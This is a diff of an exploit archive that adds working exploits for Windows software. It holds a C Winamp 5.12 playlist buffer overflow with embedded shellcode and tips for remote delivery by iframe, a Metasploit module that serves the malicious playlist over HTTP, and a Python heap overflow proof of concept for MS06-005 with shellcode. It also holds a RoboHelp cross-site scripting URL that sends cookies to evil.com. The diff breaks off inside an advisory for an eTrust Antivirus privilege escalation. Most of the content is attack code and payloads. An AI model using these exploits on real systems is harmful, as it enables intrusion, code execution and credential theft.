+* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
+* Bug discovered & exploit coded by ATmaCA
+* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
+* E-Mail: atmaca@icqmail.com
+* Credit to Kozan
+*
+*/
+
+/*
+*
+* Tested with :
+* Winamp 5.12 on Win XP Pro Sp2
+*
+*/
+
+/*
+* Usage:
+*
+* Execute exploit, it will create "crafted.pls" in current directory.
+* Duble click the file, or single click right and then select "open".
+* And Winamp will launch a Calculator (calc.exe)
+*
+*/
+
+/*
+*
+* For to use it remotly,
+* make a html page containing an iframe linking to the .pls file.
+*
+* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
+*
+*/
+
+#include <windows.h>
+#include <stdio.h>
+
+#define BUF_LEN         0x045D
+#define PLAYLIST_FILE   "crafted.pls"
+
+char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
+char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";
+
+// Jump to shellcode
+char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";
+
+// Harmless Calc.exe
+char shellcode[] =
+        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
+        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
+	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
+	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
+	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
+        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
+	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
+	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
+	"\x61\xdd\x0e\x4d";
+
+
+int main(int argc,char *argv[])
+{
+        printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
+        printf("\nBug discovered & exploit coded by ATmaCA");
+        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
+        printf("\nE-Mail: atmaca@icqmail.com");
+        printf("\nCredit to Kozan");
+
+        FILE *File;
+        char *pszBuffer;
+
+        if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
+                printf("\n [Err:] fopen()");
+                exit(1);
+        }
+
+        pszBuffer = (char*)malloc(BUF_LEN);
+        memset(pszBuffer,0x90,BUF_LEN);
+        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
+        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
+        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
+        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
+
+        fwrite(pszBuffer, BUF_LEN, 1,File);
+        fclose(File);
+
+        printf("\n\n"  PLAYLIST_FILE  " has been created in the current directory.\n");
+        return 1;
+}
+
+// milw0rm.com [2006-01-29]
diff --git a/platforms/windows/remote/1460.pm b/platforms/windows/remote/1460.pm
index f8a7a8f6e..345bcca4f 100755
--- a/platforms/windows/remote/1460.pm
+++ b/platforms/windows/remote/1460.pm
@@ -1,298 +1,297 @@
-
-##
-# This file is part of the Metasploit Framework and may be redistributed
-# according to the licenses defined in the Authors field below. In the
-# case of an unknown or missing license, this file defaults to the same
-# license as the core Framework (dual GPLv2 and Artistic). The latest
-# version of the Framework can always be obtained from metasploit.com.
-##
-
-package Msf::Exploit::winamp_playlist_unc;
-
-use strict;
-use base "Msf::Exploit";
-use Pex::Text;
-use IO::Socket::INET;
-use IPC::Open3;
-
- my $advanced =
-  {
-	'Gzip'       => [1, 'Enable gzip content encoding'],
-	'Chunked'    => [1, 'Enable chunked transfer encoding'],
-	'Humor'      => [0, 'Enable humorous song names'],
-  };
-
-my $info =
-  {
-	'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
-	'Version'        => '$Revision: 1.3 $',
-	'Authors'        =>
-	  [
-		'H D Moore <hdm [at] metasploit.com',
-		'Faithless <rhyskidd [at] gmail.com>',
-	  ],
-
-	'Description'    =>
-	  Pex::Text::Freeform(qq{
-		This module exploits a vulnerability in the Winamp media player.
-	This flaw is triggered when a audio file path is specified, inside a
-	playlist, that consists of a UNC path with a long computer name. This
-	module delivers the playlist via the browser.
-}),
-
-	'Arch'           => [ 'x86' ],
-	'OS'             => [ 'win32', 'winxp', 'win2003' ],
-	'Priv'           => 0,
-
-	'AutoOpts'       => { 'EXITFUNC' => 'process' },
-	'UserOpts'       =>
-	  {
-		'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
-		'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
-	  	'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
-	  },
-
-	'Payload'        =>
-	  {
-		'Space'    => 526,
-		'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
-		'Keys'     => ['-bind'],
-		
-		# Landing on \x5c\x5c trashes esp, restore from ecx
-		'PrependEncoder' => "\x87\xe1",
-		
-		# Disable nop sleds completely (dont modify ecx)
-		'MinNops'  => 0,
-		'MaxNops'  => 0,
-	  },
-	'Refs'           =>
-	  [
-	  	['BID', '16410'],
-		['URL', 'http://milw0rm.com/id.php?id=1458/'],
-		['URL', 'http://secunia.com/advisories/18649/'],		
-	  ],
-
-	'DefaultTarget'  => 0,
-	'Targets'        =>
-	  [
-	  	# Return to exe, 0x0d is replaced by 0x00 >:-)
-		[ 'Winamp 5.12 Universal', 0x0d45fece  ]
-	  ],
-
-	'Keys'           => [ 'winamp' ],
-
-	'DisclosureDate' => 'Jan 29 2006',
-  };
-
-sub new {
-	my $class = shift;
-	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
-	return($self);
-}
-
-sub Exploit
-{
-	my $self = shift;
-	my $server = IO::Socket::INET->new(
-		LocalHost => $self->GetVar('HTTPHOST'),
-		LocalPort => $self->GetVar('HTTPPORT'),
-		ReuseAddr => 1,
-		Listen    => 1,
-		Proto     => 'tcp'
-	  );
-	my $client;
-
-	# Did the listener create fail?
-	if (not defined($server)) {
-		$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
-		return;
-	}
-
-	my $httphost = $self->GetVar('HTTPHOST');
-	$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
-
-	$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
-
-	while (defined($client = $server->accept())) {
-		$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
-	}
-
-	return;
-}
-
-sub HandleHttpClient
-{
-	my $self = shift;
-	my $fd   = shift;
-
-	# Set the remote host information
-	my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
-
-	# Read the HTTP command
-	my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
-
-	# Read the HTTP headers
-	my $headers;
-	while ( (my $line = $fd->RecvLine(10))) {
-		$headers .= $line;
-		last if $line eq "\r\n";
-	}
-
-	if ($url !~ /\.pls/i) {
-		$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting...");
-		my $content =
-			"<html><script>".
-			"document.location='".RandomPath().".pls'".
-			"</script><body>".
-			"One second please...</body></html>";	
-
-		$fd->Send($self->BuildResponse($content));
-		$fd->Close;
-		return;
-	}
-
-	my $target_idx  = $self->GetVar('TARGET');
-	my $target      = $self->Targets->[$target_idx];
-	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
-	
-	my $name = Pex::Text::AlphaNumText(int(rand(32)+1));
-	my $file = Pex::Text::AlphaNumText(1026);
-	
-	substr($file, 1022, 4, pack('V', $target->[1]));
-	substr($file, 0, length($shellcode), $shellcode);
-	
-	# Too many and it takes too long to load...
-	my $pcnt = int(rand(10)+10);
-	my $play =
-		"[playlist]\r\n".
-			
-			$self->RandomNames($pcnt).
-			
-			"File".   ($pcnt+1). "=\\\\$file\r\n" .
-			"Title".  ($pcnt+1). "=$name\r\n".
-			"Length". ($pcnt+1). "=".sprintf("%x",rand(1024)+1)."\r\n".
-			
-			"NumberOfEntries=".($pcnt+1)."\r\n". 
-			"Version=2\r\n";
-
-	$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");
-
-
-	$fd->Send($self->BuildResponse($play, "audio/x-scpls"));
-
-	# Prevents IE from throwing an error in some cases
-	select(undef, undef, undef, 0.1);
-
-	$fd->Close();
-}
-
-sub RandomPath {
-	my $self = shift;
-	my $path;
-
-	while (length($path) < 32) {
-		$path .= "/" . Pex::Text::AlphaNumText(int(rand(30) + 5));
-	}
-	return $path;
-}
-
-sub RandomNames {
-	my $self = shift;
-	return $self->RandomNamesFun(@_) if $self->GetVar('Humor');
-	my $scnt = shift;
-	
-	my $ppad = '';
-	
-	for my $idx (1..$scnt) {
-		my $pname = Pex::Text::AlphaNumText(int(rand(32)+1));
-		my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).".mp3";
-		$ppad .=
-			"File".   ($idx). "=".$pfile."\r\n" .
-			"Title".  ($idx). "=".$pname."\r\n".
-			"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";	
-	}
-	return $ppad;
-}
-
-sub BuildResponse {
-	my ($self, $content, $ctype) = @_;
-	$ctype ||= "text/html";
-	
-	my $response =
-	  "HTTP/1.1 200 OK\r\n" .
-	  "Content-Type: $ctype\r\n";
-
-	if ($self->GetVar('Gzip')) {
-		$response .= "Content-Encoding: gzip\r\n";
-		$content = $self->Gzip($content);
-	}
-	if ($self->GetVar('Chunked')) {
-		$response .= "Transfer-Encoding: chunked\r\n";
-		$content = $self->Chunk($content);
-	} else {
-		$response .= 'Content-Length: ' . length($content) . "\r\n" .
-		  "Connection: close\r\n";
-	}
-
-	$response .= "\r\n" . $content;
-
-	return $response;
-}
-
-sub Chunk {
-	my ($self, $content) = @_;
-
-	my $chunked;
-	while (length($content)) {
-		my $chunk = substr($content, 0, int(rand(10) + 1), '');
-		$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
-	}
-	$chunked .= "0\r\n\r\n";
-
-	return $chunked;
-}
-
-sub Gzip {
-	my $self = shift;
-	my $data = shift;
-	my $comp = int(rand(5))+10;
-
-	my($wtr, $rdr, $err);
-
-	my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
-	print $wtr $data;
-	close ($wtr);
-	local $/;
-
-	return (<$rdr>);
-}
-
-
-sub RandomNamesFun {
-	my $self = shift;
-	my $scnt = shift;
-	my @ffun = 
-	(
-		"Angelina vs Rosie O - Butter Time",	
-		"Richards Gerbil Adventure",
-		"Elton John Bachelor Party",
-		"Paris Hilton Greased Chihuahua",
-		"OH MY GOD",
-		"SOMEONE IS OWNING",
-		"MY WINAMP!",
-	);
-	
-	my $ppad = '';
-	
-	for my $idx (1..$scnt) {
-		my $pname = $ffun[ $idx % scalar(@ffun) ];
-		$ppad .=
-			"File".   ($idx). "=".$pname."\r\n" .
-			"Title".  ($idx). "=".$pname."\r\n".
-			"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";	
-	}
-	return $ppad;
-}
-1;
-
-# milw0rm.com [2006-01-31]
+##
+# This file is part of the Metasploit Framework and may be redistributed
+# according to the licenses defined in the Authors field below. In the
+# case of an unknown or missing license, this file defaults to the same
+# license as the core Framework (dual GPLv2 and Artistic). The latest
+# version of the Framework can always be obtained from metasploit.com.
+##
+
+package Msf::Exploit::winamp_playlist_unc;
+
+use strict;
+use base "Msf::Exploit";
+use Pex::Text;
+use IO::Socket::INET;
+use IPC::Open3;
+
+ my $advanced =
+  {
+	'Gzip'       => [1, 'Enable gzip content encoding'],
+	'Chunked'    => [1, 'Enable chunked transfer encoding'],
+	'Humor'      => [0, 'Enable humorous song names'],
+  };
+
+my $info =
+  {
+	'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
+	'Version'        => '$Revision: 1.3 $',
+	'Authors'        =>
+	  [
+		'H D Moore <hdm [at] metasploit.com',
+		'Faithless <rhyskidd [at] gmail.com>',
+	  ],
+
+	'Description'    =>
+	  Pex::Text::Freeform(qq{
+		This module exploits a vulnerability in the Winamp media player.
+	This flaw is triggered when a audio file path is specified, inside a
+	playlist, that consists of a UNC path with a long computer name. This
+	module delivers the playlist via the browser.
+}),
+
+	'Arch'           => [ 'x86' ],
+	'OS'             => [ 'win32', 'winxp', 'win2003' ],
+	'Priv'           => 0,
+
+	'AutoOpts'       => { 'EXITFUNC' => 'process' },
+	'UserOpts'       =>
+	  {
+		'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
+		'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
+	  	'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
+	  },
+
+	'Payload'        =>
+	  {
+		'Space'    => 526,
+		'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
+		'Keys'     => ['-bind'],
+		
+		# Landing on \x5c\x5c trashes esp, restore from ecx
+		'PrependEncoder' => "\x87\xe1",
+		
+		# Disable nop sleds completely (dont modify ecx)
+		'MinNops'  => 0,
+		'MaxNops'  => 0,
+	  },
+	'Refs'           =>
+	  [
+	  	['BID', '16410'],
+		['URL', 'http://milw0rm.com/id.php?id=1458/'],
+		['URL', 'http://secunia.com/advisories/18649/'],		
+	  ],
+
+	'DefaultTarget'  => 0,
+	'Targets'        =>
+	  [
+	  	# Return to exe, 0x0d is replaced by 0x00 >:-)
+		[ 'Winamp 5.12 Universal', 0x0d45fece  ]
+	  ],
+
+	'Keys'           => [ 'winamp' ],
+
+	'DisclosureDate' => 'Jan 29 2006',
+  };
+
+sub new {
+	my $class = shift;
+	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
+	return($self);
+}
+
+sub Exploit
+{
+	my $self = shift;
+	my $server = IO::Socket::INET->new(
+		LocalHost => $self->GetVar('HTTPHOST'),
+		LocalPort => $self->GetVar('HTTPPORT'),
+		ReuseAddr => 1,
+		Listen    => 1,
+		Proto     => 'tcp'
+	  );
+	my $client;
+
+	# Did the listener create fail?
+	if (not defined($server)) {
+		$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
+		return;
+	}
+
+	my $httphost = $self->GetVar('HTTPHOST');
+	$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
+
+	$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
+
+	while (defined($client = $server->accept())) {
+		$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
+	}
+
+	return;
+}
+
+sub HandleHttpClient
+{
+	my $self = shift;
+	my $fd   = shift;
+
+	# Set the remote host information
+	my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
+
+	# Read the HTTP command
+	my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
+
+	# Read the HTTP headers
+	my $headers;
+	while ( (my $line = $fd->RecvLine(10))) {
+		$headers .= $line;
+		last if $line eq "\r\n";
+	}
+
+	if ($url !~ /\.pls/i) {
+		$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting...");
+		my $content =
+			"<html><script>".
+			"document.location='".RandomPath().".pls'".
+			"</script><body>".
+			"One second please...</body></html>";	
+
+		$fd->Send($self->BuildResponse($content));
+		$fd->Close;
+		return;
+	}
+
+	my $target_idx  = $self->GetVar('TARGET');
+	my $target      = $self->Targets->[$target_idx];
+	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
+	
+	my $name = Pex::Text::AlphaNumText(int(rand(32)+1));
+	my $file = Pex::Text::AlphaNumText(1026);
+	
+	substr($file, 1022, 4, pack('V', $target->[1]));
+	substr($file, 0, length($shellcode), $shellcode);
+	
+	# Too many and it takes too long to load...
+	my $pcnt = int(rand(10)+10);
+	my $play =
+		"[playlist]\r\n".
+			
+			$self->RandomNames($pcnt).
+			
+			"File".   ($pcnt+1). "=\\\\$file\r\n" .
+			"Title".  ($pcnt+1). "=$name\r\n".
+			"Length". ($pcnt+1). "=".sprintf("%x",rand(1024)+1)."\r\n".
+			
+			"NumberOfEntries=".($pcnt+1)."\r\n". 
+			"Version=2\r\n";
+
+	$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");
+
+
+	$fd->Send($self->BuildResponse($play, "audio/x-scpls"));
+
+	# Prevents IE from throwing an error in some cases
+	select(undef, undef, undef, 0.1);
+
+	$fd->Close();
+}
+
+sub RandomPath {
+	my $self = shift;
+	my $path;
+
+	while (length($path) < 32) {
+		$path .= "/" . Pex::Text::AlphaNumText(int(rand(30) + 5));
+	}
+	return $path;
+}
+
+sub RandomNames {
+	my $self = shift;
+	return $self->RandomNamesFun(@_) if $self->GetVar('Humor');
+	my $scnt = shift;
+	
+	my $ppad = '';
+	
+	for my $idx (1..$scnt) {
+		my $pname = Pex::Text::AlphaNumText(int(rand(32)+1));
+		my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).".mp3";
+		$ppad .=
+			"File".   ($idx). "=".$pfile."\r\n" .
+			"Title".  ($idx). "=".$pname."\r\n".
+			"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";	
+	}
+	return $ppad;
+}
+
+sub BuildResponse {
+	my ($self, $content, $ctype) = @_;
+	$ctype ||= "text/html";
+	
+	my $response =
+	  "HTTP/1.1 200 OK\r\n" .
+	  "Content-Type: $ctype\r\n";
+
+	if ($self->GetVar('Gzip')) {
+		$response .= "Content-Encoding: gzip\r\n";
+		$content = $self->Gzip($content);
+	}
+	if ($self->GetVar('Chunked')) {
+		$response .= "Transfer-Encoding: chunked\r\n";
+		$content = $self->Chunk($content);
+	} else {
+		$response .= 'Content-Length: ' . length($content) . "\r\n" .
+		  "Connection: close\r\n";
+	}
+
+	$response .= "\r\n" . $content;
+
+	return $response;
+}
+
+sub Chunk {
+	my ($self, $content) = @_;
+
+	my $chunked;
+	while (length($content)) {
+		my $chunk = substr($content, 0, int(rand(10) + 1), '');
+		$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
+	}
+	$chunked .= "0\r\n\r\n";
+
+	return $chunked;
+}
+
+sub Gzip {
+	my $self = shift;
+	my $data = shift;
+	my $comp = int(rand(5))+10;
+
+	my($wtr, $rdr, $err);
+
+	my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
+	print $wtr $data;
+	close ($wtr);
+	local $/;
+
+	return (<$rdr>);
+}
+
+
+sub RandomNamesFun {
+	my $self = shift;
+	my $scnt = shift;
+	my @ffun = 
+	(
+		"Angelina vs Rosie O - Butter Time",	
+		"Richards Gerbil Adventure",
+		"Elton John Bachelor Party",
+		"Paris Hilton Greased Chihuahua",
+		"OH MY GOD",
+		"SOMEONE IS OWNING",
+		"MY WINAMP!",
+	);
+	
+	my $ppad = '';
+	
+	for my $idx (1..$scnt) {
+		my $pname = $ffun[ $idx % scalar(@ffun) ];
+		$ppad .=
+			"File".   ($idx). "=".$pname."\r\n" .
+			"Title".  ($idx). "=".$pname."\r\n".
+			"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";	
+	}
+	return $ppad;
+}
+1;
+
+# milw0rm.com [2006-01-31]
diff --git a/platforms/windows/remote/1502.py b/platforms/windows/remote/1502.py
index 91d655fa6..885181554 100755
--- a/platforms/windows/remote/1502.py
+++ b/platforms/windows/remote/1502.py
@@ -1,106 +1,106 @@
-# sploit creater by redsand@blacksecurity.org
-# ms06-005 advisory proof of concept
-# heap overflow in wmf.dll @ 0x0035920a
-# denial of service, cuz we can't get this to play nice
-    
-#shamelessly stolen from CANVAS code
-def intel_order(i):
-    str=""
-    a=chr(i % 256)
-    i=i >> 8
-    b=chr(i % 256)
-    i=i >> 8
-    c=chr(i % 256)
-    i=i >> 8
-    d=chr(i % 256)
-    
-    str+="%c%c%c%c" % (a,b,c,d)
-
-    return str
-
-def stroverwrite(instring,overwritestring,offset):
-    head=instring[:offset]
-    #print head
-    tail=instring[offset+len(overwritestring):]
-    #print tail
-    result=head+overwritestring+tail
-    return result
-
-
-#options
-#SEH HAndle
-
-#anything with a call/jmp  edi/ecx + 4 or more
-EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut
-DUMMY=0xccccccccL
-filename = "rbl4ck-06-005.bmp"
-
-header =  "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"
-header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
-header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
-header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"
-
-c0de    = "\x90" * 350
-c0de    +=  "\xCD\x03" 
-c0de    += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"
-c0de    += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"
-c0de    += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"
-c0de    += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"
-c0de    += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"
-c0de    += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"
-c0de    += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"
-c0de    += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
-c0de    += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"
-c0de    += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"
-c0de    += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"
-c0de    += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"
-c0de    += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"
-#tag
-c0de    += "0wn3dbyr3ds4nd"
-
-for on in range(256):
-    c0de += intel_order(EIP-80)
-
-body = ""
-r=0x88888800L
-for on in range(235):
-    r+=0x01L
-    body += intel_order(r)
-
-    
-body    += c0de
-
-body = stroverwrite(body,intel_order(EIP-4),56)
-body = stroverwrite(body,intel_order(EIP),96)
-body = stroverwrite(body,intel_order(EIP),160)
-body = stroverwrite(body,intel_order(EIP-0x3c),708)
-body = stroverwrite(body,intel_order(EIP),828)
-body = stroverwrite(body,intel_order(EIP),868)
-body = stroverwrite(body,intel_order(EIP),936)
-#
-#here's our call eax+4
-body = stroverwrite(body,intel_order(EIP-4),948)
-#
-#
-body = stroverwrite(body,intel_order(EIP),300)
-
-
-
-
-
-print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org"
-print "Writing filename " + filename + "..."
-
-try:                                
-    fsock = open(filename, "wb+", 0) 
-    try:                           
-        fsock.write(header + body ); 
-    finally:                        
-        fsock.close()
-except IOError:                     
-    pass
-
-
-print "success."
-
-# milw0rm.com [2006-02-16]
+# sploit creater by redsand@blacksecurity.org
+# ms06-005 advisory proof of concept
+# heap overflow in wmf.dll @ 0x0035920a
+# denial of service, cuz we can't get this to play nice
+    
+#shamelessly stolen from CANVAS code
+def intel_order(i):
+    str=""
+    a=chr(i % 256)
+    i=i >> 8
+    b=chr(i % 256)
+    i=i >> 8
+    c=chr(i % 256)
+    i=i >> 8
+    d=chr(i % 256)
+    
+    str+="%c%c%c%c" % (a,b,c,d)
+
+    return str
+
+def stroverwrite(instring,overwritestring,offset):
+    head=instring[:offset]
+    #print head
+    tail=instring[offset+len(overwritestring):]
+    #print tail
+    result=head+overwritestring+tail
+    return result
+
+
+#options
+#SEH HAndle
+
+#anything with a call/jmp  edi/ecx + 4 or more
+EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut
+DUMMY=0xccccccccL
+filename = "rbl4ck-06-005.bmp"
+
+header =  "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"
+header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
+header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
+header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"
+
+c0de    = "\x90" * 350
+c0de    +=  "\xCD\x03" 
+c0de    += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"
+c0de    += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"
+c0de    += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"
+c0de    += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"
+c0de    += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"
+c0de    += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"
+c0de    += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"
+c0de    += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
+c0de    += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"
+c0de    += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"
+c0de    += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"
+c0de    += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"
+c0de    += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"
+#tag
+c0de    += "0wn3dbyr3ds4nd"
+
+for on in range(256):
+    c0de += intel_order(EIP-80)
+
+body = ""
+r=0x88888800L
+for on in range(235):
+    r+=0x01L
+    body += intel_order(r)
+
+    
+body    += c0de
+
+body = stroverwrite(body,intel_order(EIP-4),56)
+body = stroverwrite(body,intel_order(EIP),96)
+body = stroverwrite(body,intel_order(EIP),160)
+body = stroverwrite(body,intel_order(EIP-0x3c),708)
+body = stroverwrite(body,intel_order(EIP),828)
+body = stroverwrite(body,intel_order(EIP),868)
+body = stroverwrite(body,intel_order(EIP),936)
+#
+#here's our call eax+4
+body = stroverwrite(body,intel_order(EIP-4),948)
+#
+#
+body = stroverwrite(body,intel_order(EIP),300)
+
+
+
+
+
+print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org"
+print "Writing filename " + filename + "..."
+
+try:                                
+    fsock = open(filename, "wb+", 0) 
+    try:                           
+        fsock.write(header + body ); 
+    finally:                        
+        fsock.close()
+except IOError:                     
+    pass
+
+
+print "success."
+
+# milw0rm.com [2006-02-16]
diff --git a/platforms/windows/remote/30016.txt b/platforms/windows/remote/30016.txt
new file mode 100755
index 000000000..651029be6
--- /dev/null
+++ b/platforms/windows/remote/30016.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/23878/info
+
+RoboHelp is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
+
+http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief 
\ No newline at end of file
diff --git a/platforms/windows/remote/30019.c b/platforms/windows/remote/30019.c
new file mode 100755
index 000000000..62f01ad0c
--- /dev/null
+++ b/platforms/windows/remote/30019.c
@@ -0,0 +1,344 @@
+source: http://www.securityfocus.com/bid/23906/info
+
+Multiple products by Computer Associates are prone to multiple vulnerabilities that will allow remote attackers to execute arbitrary code on an affected computer.
+
+Successful exploits will allow attacker-supplied arbitrary code to run within the context of the affected server. Failed exploit attempts will likely cause denial-of-service conditions. 
+
+/* 
+       ----------------------------------------------------------------------
+      | 48Bits Advisory -=- Privilege Elevation in eTrust Antivirus Agent r8 |
+       ----------------------------------------------------------------------
+
+ Affected versions :
+
+	I have tested with:
+
+	- eTrust Antivirus Agent r8 - http://www3.ca.com/solutions/Product.aspx?ID=156
+                                   (With INOCORE.DLL 8.0.403.0) under XPSP2 and W2KSP4)
+
+ Description :
+
+	eTrust Antivirus r8 is prone to a stack-based buffer overflow vulnerability.
+
+	The Affected component is "eTrust Task service" running as a Windows service, 
+	the executable file is located at:
+
+	"%PROGRAMFILES%\CA\eTrustITM\InoTask.exe"
+
+	eTrust Task service uses a shared file mapping named "INOQSIQSYSINFO" as an 
+	IPC mechanism, this file mapping have a NULL security descriptor so anyone 
+	can view/modify it. This mapping contains information about scheduled tasks,
+	including a field where is specified the file job´s path.
+
